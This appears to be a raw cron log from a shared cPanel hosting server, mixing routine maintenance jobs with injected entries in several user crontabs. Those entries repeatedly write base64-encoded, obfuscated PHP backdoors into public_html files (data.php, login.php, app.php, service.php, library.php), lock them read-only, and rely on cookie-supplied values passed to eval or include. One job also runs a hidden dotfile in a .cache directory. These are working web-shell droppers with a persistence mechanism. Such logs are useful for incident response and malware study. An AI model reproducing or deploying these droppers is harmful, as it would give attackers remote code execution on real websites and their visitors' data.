Mar  1 16:10:02 medusa CROND[11946]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:10:02 medusa CROND[11948]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 16:10:02 medusa CROND[11950]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 16:10:02 medusa CROND[11947]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 16:10:02 medusa CROND[11951]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 16:10:02 medusa CROND[11953]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 16:10:02 medusa CROND[11955]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:10:02 medusa CROND[11956]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 16:10:02 medusa CROND[11957]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 16:10:02 medusa CROND[11958]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:10:02 medusa CROND[11959]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 16:10:02 medusa CROND[11960]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 16:10:02 medusa CROND[11962]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 16:10:02 medusa CROND[11952]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 16:10:02 medusa CROND[11971]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 16:10:02 medusa CROND[11975]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:10:02 medusa CROND[11979]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 16:10:02 medusa CROND[11969]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 16:10:02 medusa CROND[11993]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 16:10:02 medusa CROND[11970]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 16:11:01 medusa CROND[1748]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 16:11:01 medusa CROND[1749]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 16:11:01 medusa CROND[1750]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 16:11:01 medusa CROND[1751]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 16:11:01 medusa CROND[1753]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 16:11:01 medusa CROND[1754]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:11:01 medusa CROND[1759]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:11:01 medusa CROND[1760]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 16:11:01 medusa CROND[1761]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:11:01 medusa CROND[1762]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 16:11:01 medusa CROND[1769]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:11:01 medusa CROND[1770]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 16:11:01 medusa CROND[1779]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 16:12:02 medusa CROND[23593]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 16:12:02 medusa CROND[23594]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 16:12:02 medusa CROND[23595]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 16:12:02 medusa CROND[23596]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 16:12:02 medusa CROND[23598]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
